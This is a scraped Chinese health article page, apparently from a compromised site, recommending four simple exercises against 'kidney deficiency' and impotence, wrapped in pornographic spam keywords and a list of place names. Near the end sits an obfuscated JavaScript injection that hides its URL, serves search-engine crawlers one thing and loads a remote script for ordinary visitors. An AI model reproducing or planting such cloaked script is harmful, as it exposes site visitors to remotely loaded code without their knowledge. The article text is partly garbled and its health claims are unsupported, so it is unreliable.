亚洲肥老太bbw中国熟女,免费男人和女人牲交视频全黄,韩国精品久久久久久,九九精彩视频第一页

當(dāng)前位置:首頁 > 健康 > 運動健身 > 正文

常練四個小動作 腎虛遠(yuǎn)離你

2016-06-17 09:40:57  來源:360常識網(wǎng)   熱度:
導(dǎo)語:經(jīng)常運動可以防止男性腎虛,另外,中年男性朋友如果進(jìn)行適當(dāng)?shù)倪\動,比如跑跑步那樣對預(yù)防腎虛、陽痿有一定的好處。

四個“小動作”腎虛遠(yuǎn)離你

一、每日做縮肛運動:

全身都放松,自然呼吸;呼氣時,做縮肛的動作,吸氣時進(jìn)行放松,如此反應(yīng)30次即可。

二、每日進(jìn)行腰部按摩:

兩手掌對搓,搓至手心微熱后,分別放于腰瓿的兩側(cè),手掌向皮膚,上下按摩腰部,當(dāng)感到有熱感為止。每天早晚各一次,每次200下左右即可。

三、每日搓腳心:

將兩手對掌搓熱后,以檔案庫手擦右腳心,以右手擦右腳心的方式,每天早晚各做一次,每次搓300下左右即可。

四、每日打太極:

練習(xí)太極拳,也能很好地預(yù)防腎虛,最好在清晨在空氣清新的公園內(nèi)、樹下、水邊進(jìn)行。

經(jīng)常運動可以防止男性腎虛,另外,中年男性朋友如果進(jìn)行適當(dāng)?shù)倪\動,比如跑跑步那樣對預(yù)防腎虛、陽痿有一定的好處。

轉(zhuǎn)載申明:360常識網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
龙川县| 工布江达县| 洛川县| 威宁| 平南县| 永修县| 德州市| 娄烦县| 香港 | 个旧市| 中卫市| 新宁县| 家居| 绩溪县| 凭祥市| 六枝特区| 尼勒克县| 西藏| 桃园县| 漾濞| 德钦县| 留坝县| 独山县| 济阳县| 泰和县| 北票市| 盖州市| 西乡县| 怀集县| 通州市| 河东区| 水城县| 赣州市| 北京市| 普定县| 全椒县| 彭阳县| 镇坪县| 北宁市| 金门县| 南投市|